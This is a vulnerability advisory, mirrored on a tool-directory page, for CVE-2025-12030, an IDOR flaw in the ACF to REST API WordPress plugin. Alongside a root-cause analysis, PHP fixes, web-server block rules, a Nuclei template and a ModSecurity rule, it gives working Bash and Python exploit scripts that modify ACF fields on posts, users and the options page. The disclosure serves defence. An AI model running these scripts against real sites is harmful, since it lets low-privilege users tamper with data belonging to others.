Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own. | Kitploit
Tools/GitHubGitHub/snailsploit/cve-2025-12030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.

View Repository
114 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-12030: Insecure Direct Object Reference in ACF to REST API WordPress Plugin

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

Keywords: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security

Table of Contents

  • Overview
Vulnerability Details
  • Technical Analysis
  • Attack Vector
  • Proof of Concept
  • Remediation Guide
  • Detection
  • CVSS Metrics
  • References
  • Credits
  • Security Contact
  • Overview

    ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.

    An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the ACF to REST API WordPress Plugin that allows authenticated attackers with minimal privileges to modify ACF fields across the entire WordPress installation.

    Discovered by: Kai Aizen (SnailSploit)
    Published: January 6, 2026
    CVSS Score: 4.3 (Medium)
    CWE: CWE-639 - Authorization Bypass Through User-Controlled Key
    Plugin: ACF to REST API
    Plugin Slug: acf-to-rest-api
    Attack Type: Insecure Direct Object Reference (IDOR)
    Required Privileges: Contributor+ (Authenticated Attack)

    Vulnerability Details

    Description

    The ACF to REST API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.4. This is due to insufficient capability checks in the update_item_permissions_check() method, which only verifies that the current user has the edit_posts capability without checking object-specific permissions (e.g., edit_post($id), edit_user($id), manage_options).

    Impact

    This vulnerability allows authenticated attackers with Contributor-level access and above to:

    • Modify ACF fields on posts they do not own - Bypass post ownership restrictions
    • Modify ACF fields on any user account - Including administrator accounts
    • Modify ACF fields on comments - Alter comment metadata
    • Modify ACF fields on taxonomy terms - Change category/tag custom fields
    • Modify the global options page - Access site-wide ACF options without manage_options capability

    All modifications are possible via the /wp-json/acf/v3/{type}/{id} REST API endpoints.

    Affected Versions

    • Vulnerable: All versions ≤ 3.3.4
    • Patched: ⚠️ No known patch available

    CVSS v3.1 Metrics

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
    
    MetricValue
    Attack VectorNetwork (AV:N)
    Attack ComplexityLow (AC:L)
    Privileges RequiredLow (PR:L)
    User InteractionNone (UI:N)
    ScopeUnchanged (S:U)
    ConfidentialityNone (C:N)
    IntegrityLow (I:L)
    AvailabilityNone (A:N)

    CVSS v3.1 Breakdown:

    • Attack Vector (AV): Network - The vulnerability can be exploited remotely over a network
    • Attack Complexity (AC): Low - No special conditions are required for exploitation
    • Privileges Required (PR): Low - Requires Contributor-level authentication
    • User Interaction (UI): None - The exploit works without any user interaction
    • Scope (S): Unchanged - The vulnerability only affects the vulnerable component
    • Confidentiality Impact (C): None - No information disclosure
    • Integrity Impact (I): Low - Unauthorized modification of ACF fields
    • Availability Impact (A): None - No availability impact

    Technical Details

    Vulnerability Root Cause

    The vulnerability exists in the update_item_permissions_check() method which performs insufficient authorization:

    root@kitploit:~
    // Vulnerable code pattern (simplified)
    public function update_item_permissions_check( $request ) {
        // VULNERABLE: Only checks generic edit_posts capability
        if ( current_user_can( 'edit_posts' ) ) {
            return true;
        }
        return false;
    }
    

    The proper implementation should check object-specific permissions:

    root@kitploit:~
    // Secure implementation pattern
    public function update_item_permissions_check( $request ) {
        $id = $request->get_param( 'id' );
        $type = $request->get_param( 'type' );
        
        switch ( $type ) {
            case 'post':
                return current_user_can( 'edit_post', $id );
            case 'user':
                return current_user_can( 'edit_user', $id );
            case 'option':
                return current_user_can( 'manage_options' );
            // ... other object types
        }
        return false;
    }
    

    Vulnerable Endpoints

    EndpointTargetRequired Capability (Should Be)
    /wp-json/acf/v3/posts/{id}Postsedit_post($id)
    /wp-json/acf/v3/pages/{id}Pagesedit_page($id)
    /wp-json/acf/v3/users/{id}Usersedit_user($id)
    /wp-json/acf/v3/comments/{id}Commentsedit_comment($id)
    /wp-json/acf/v3/terms/{taxonomy}/{id}Termsedit_term($id)
    /wp-json/acf/v3/options/{option}Optionsmanage_options

    Attack Vector

    root@kitploit:~
    PUT/POST /wp-json/acf/v3/{type}/{id}
    Authorization: Basic <contributor_credentials>
    Content-Type: application/json
    
    {
        "fields": {
            "field_name": "malicious_value"
        }
    }
    

    The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.

    Proof of Concept

    ⚠️ For Educational and Authorized Testing Purposes Only

    Bash PoC

    root@kitploit:~
    #!/bin/bash
    # CVE-2025-12030 PoC - ACF to REST API IDOR
    
    TARGET_URL="$1"
    USERNAME="$2"
    APP_PASSWORD="$3"
    TARGET_POST_ID="$4"
    
    if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then
        echo "Usage: $0 <target_url> <username> <app_password> <post_id>"
        echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42"
        exit 1
    fi
    
    echo "[*] CVE-2025-12030 - ACF to REST API IDOR PoC"
    echo "[*] Target: $TARGET_URL"
    echo "[*] Target Post ID: $TARGET_POST_ID"
    echo ""
    
    # Encode credentials
    AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
    
    # Step 1: Read current ACF fields (verify access)
    echo "[*] Step 1: Reading current ACF fields..."
    curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
      -H "Authorization: Basic $AUTH" \
      | python3 -m json.tool
    
    echo ""
    
    # Step 2: Attempt to modify ACF fields on post we don't own
    echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
    RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
      -H "Authorization: Basic $AUTH" \
      -H "Content-Type: application/json" \
      -d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
    
    echo "$RESPONSE" | python3 -m json.tool
    
    echo ""
    if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then
        echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!"
    else
        echo "[+] Not vulnerable or modification failed"
    fi
    

    Python PoC

    root@kitploit:~
    #!/usr/bin/env python3
    """
    CVE-2025-12030 - ACF to REST API IDOR PoC
    For educational and authorized testing purposes only
    """
    
    import requests
    import sys
    import json
    import base64
    
    def exploit(target_url, username, app_password, target_id, target_type="posts"):
        """
        Exploit CVE-2025-12030 IDOR vulnerability
        
        Args:
            target_url: WordPress site URL
            username: Contributor-level username
            app_password: Application password
            target_id: ID of the object to modify (post, user, etc.)
            target_type: Type of object (posts, pages, users, options, etc.)
        """
        
        api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
        
        # Create Basic Auth header
        credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
        headers = {
            "Authorization": f"Basic {credentials}",
            "Content-Type": "application/json"
        }
        
        print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
        print(f"[*] Target: {target_url}")
        print(f"[*] Endpoint: {api_endpoint}")
        print(f"[*] Object Type: {target_type}")
        print(f"[*] Object ID: {target_id}\n")
        
        # Step 1: Read current ACF fields
        print("[*] Step 1: Reading current ACF fields...")
        try:
            response = requests.get(api_endpoint, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] Current ACF fields:")
                print(json.dumps(response.json(), indent=2))
            else:
                print(f"[-] Failed to read fields: {response.status_code}")
                print(response.text)
        except requests.RequestException as e:
            print(f"[-] Error reading fields: {e}")
            return
        
        print("")
        
        # Step 2: Attempt IDOR modification
        print("[*] Step 2: Attempting unauthorized modification...")
        
        payload = {
            "fields": {
                "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
            }
        }
        
        try:
            response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
            
            if response.status_code == 200:
                result = response.json()
                print(f"[+] Response:")
                print(json.dumps(result, indent=2))
                
                if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                    print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                    print("[!] Contributor-level user was able to modify objects they don't own!")
                else:
                    print("\n[+] Modification request accepted - verify manually")
            else:
                print(f"[-] Request failed with status: {response.status_code}")
                print(f"Response: {response.text}")
                
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    
    def test_options_page(target_url, username, app_password):
        """Test modification of global options page (requires manage_options normally)"""
        
        api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
        
        credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
        headers = {
            "Authorization": f"Basic {credentials}",
            "Content-Type": "application/json"
        }
        
        print(f"\n[*] Testing Options Page IDOR...")
        print(f"[*] Endpoint: {api_endpoint}")
        print(f"[*] NOTE: This normally requires manage_options capability!\n")
        
        payload = {
            "fields": {
                "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
            }
        }
        
        try:
            response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
            
            if response.status_code == 200:
                print(f"[!] CRITICAL: Contributor modified global options page!")
                print(json.dumps(response.json(), indent=2))
            else:
                print(f"[-] Options modification failed: {response.status_code}")
                
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        if len(sys.argv) < 5:
            print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
            print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
            print(f"\nSupported types: posts, pages, users, comments, options")
            sys.exit(1)
        
        target_url = sys.argv[1]
        username = sys.argv[2]
        app_password = sys.argv[3]
        target_id = sys.argv[4]
        target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
        
        exploit(target_url, username, app_password, target_id, target_type)
        
        # Also test options page access
        if target_type != "options":
            test_options_page(target_url, username, app_password)
    

    Remediation

    For Site Administrators

    Immediate Action Required:

    ⚠️ No official patch is currently available for this vulnerability.

    1. Consider uninstalling the plugin if ACF REST API functionality is not critical
    2. Restrict user registrations and review existing Contributor+ accounts
    3. Implement WAF rules to block unauthorized REST API modifications
    4. Monitor REST API activity for suspicious ACF field modifications
    5. Consider alternative plugins with proper authorization controls

    Temporary Mitigations

    Option 1: Disable REST API Endpoints via Code

    Add to your theme's functions.php or a custom plugin:

    root@kitploit:~
    <?php
    /**
     * Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
     */
    add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
        // Only allow administrators to modify via REST API
        if (!current_user_can('manage_options')) {
            return new WP_Error(
                'rest_forbidden',
                __('You do not have permission to modify ACF fields via REST API.'),
                array('status' => 403)
            );
        }
        return $permission;
    }, 10, 3);
    

    Option 2: Restrict via .htaccess

    root@kitploit:~
    # Block ACF REST API modification endpoints for non-admins
    <IfModule mod_rewrite.c>
        RewriteEngine On
        RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$
        RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC]
        RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC]
        RewriteRule .* - [F,L]
    </IfModule>
    

    Option 3: Nginx Configuration

    root@kitploit:~
    # Block ACF REST API modification requests
    location ~* ^/wp-json/acf/v3/ {
        if ($request_method ~* "(PUT|POST|PATCH)") {
            # Implement proper authorization check or block entirely
            return 403;
        }
        try_files $uri $uri/ /index.php?$args;
    }
    

    For Plugin Developers

    If forking or patching the plugin, implement proper object-specific authorization:

    root@kitploit:~
    <?php
    /**
     * Secure implementation of update_item_permissions_check
     */
    public function update_item_permissions_check( $request ) {
        $id = $request->get_param( 'id' );
        $type = $this->get_object_type( $request );
        
        switch ( $type ) {
            case 'post':
            case 'page':
                // Check if user can edit THIS specific post
                if ( ! current_user_can( 'edit_post', $id ) ) {
                    return new WP_Error(
                        'rest_cannot_edit',
                        __( 'Sorry, you are not allowed to edit this post.' ),
                        array( 'status' => rest_authorization_required_code() )
                    );
                }
                break;
                
            case 'user':
                // Check if user can edit THIS specific user
                if ( ! current_user_can( 'edit_user', $id ) ) {
                    return new WP_Error(
                        'rest_cannot_edit',
                        __( 'Sorry, you are not allowed to edit this user.' ),
                        array( 'status' => rest_authorization_required_code() )
                    );
                }
                break;
                
            case 'option':
                // Options require manage_options capability
                if ( ! current_user_can( 'manage_options' ) ) {
                    return new WP_Error(
                        'rest_cannot_edit',
                        __( 'Sorry, you are not allowed to manage options.' ),
                        array( 'status' => rest_authorization_required_code() )
                    );
                }
                break;
                
            case 'term':
                $taxonomy = $request->get_param( 'taxonomy' );
                $tax_obj = get_taxonomy( $taxonomy );
                if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) {
                    return new WP_Error(
                        'rest_cannot_edit',
                        __( 'Sorry, you are not allowed to edit terms.' ),
                        array( 'status' => rest_authorization_required_code() )
                    );
                }
                break;
                
            case 'comment':
                if ( ! current_user_can( 'edit_comment', $id ) ) {
                    return new WP_Error(
                        'rest_cannot_edit',
                        __( 'Sorry, you are not allowed to edit this comment.' ),
                        array( 'status' => rest_authorization_required_code() )
                    );
                }
                break;
                
            default:
                return new WP_Error(
                    'rest_invalid_type',
                    __( 'Invalid object type.' ),
                    array( 'status' => 400 )
                );
        }
        
        return true;
    }
    

    Detection

    Log Analysis

    Search for suspicious REST API activity:

    root@kitploit:~
    # Search access logs for ACF REST API modification attempts
    grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log
    grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log
    

    WordPress Plugin Check

    root@kitploit:~
    # Check if vulnerable version is installed
    wp plugin list | grep -i "acf-to-rest-api"
    
    # Get plugin version
    wp plugin get acf-to-rest-api --field=version
    

    Security Scanner Rules

    Nuclei Template:

    root@kitploit:~
    id: CVE-2025-12030
    
    info:
      name: ACF to REST API - IDOR ACF Field Modification
      author: SnailSploit
      severity: medium
      description: ACF to REST API plugin for WordPress is vulnerable to IDOR
      reference:
        - https://github.com/SnailSploit/CVE-2025-12030
        - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification
      tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated
    
    http:
      - raw:
          - |
            POST /wp-json/acf/v3/posts/1 HTTP/1.1
            Host: {{Hostname}}
            Authorization: Basic {{base64(username + ':' + password)}}
            Content-Type: application/json
            
            {"fields":{"nuclei_test":"CVE-2025-12030"}}
        
        matchers-condition: and
        matchers:
          - type: word
            words:
              - "acf"
            condition: or
          
          - type: status
            status:
              - 200
    

    Web Application Firewall Rules

    ModSecurity Rule:

    root@kitploit:~
    # CVE-2025-12030 - Block unauthorized ACF REST API modifications
    SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \
        "id:2025012030,\
        phase:2,\
        t:none,t:urlDecodeUni,t:normalizePathWin,\
        chain,\
        deny,\
        status:403,\
        log,\
        msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'"
        SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none"
    

    Timeline

    • January 6, 2026 - Vulnerability publicly disclosed
    • January 6, 2026 - CVE-2025-12030 assigned
    • Current - ⚠️ No patch available

    References

    • Wordfence Intelligence - CVE-2025-12030
    • WordPress Plugin Trac - ACF to REST API
    • WordPress Plugin Directory
    • CWE-639 - Authorization Bypass Through User-Controlled Key
    • OWASP - Insecure Direct Object Reference

    Credits

    Researcher:

    • Kai Aizen - SnailSploit

    Disclosure Process: Coordinated through Wordfence Bug Bounty Program

    Disclaimer

    This information is provided for security research and defensive purposes only. Any exploitation of this vulnerability for malicious purposes is illegal and unethical. Always obtain proper authorization before testing systems you do not own.

    Contact

    For questions or additional information about this vulnerability:

    • Email: [email protected]
    • Website: snailsploit.com
    • Organization: SnailSploit Security Research

    Last updated: January 6, 2026


    📚 Documentation & Author

    This project's full writeup, methodology, and related research lives at:

    https://snailsploit.com/security-research/cves/cve-2025-12030/

    Created by Kai Aizen — independent offensive security researcher.

    snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

    Same attack. Different substrate.

    Download Tool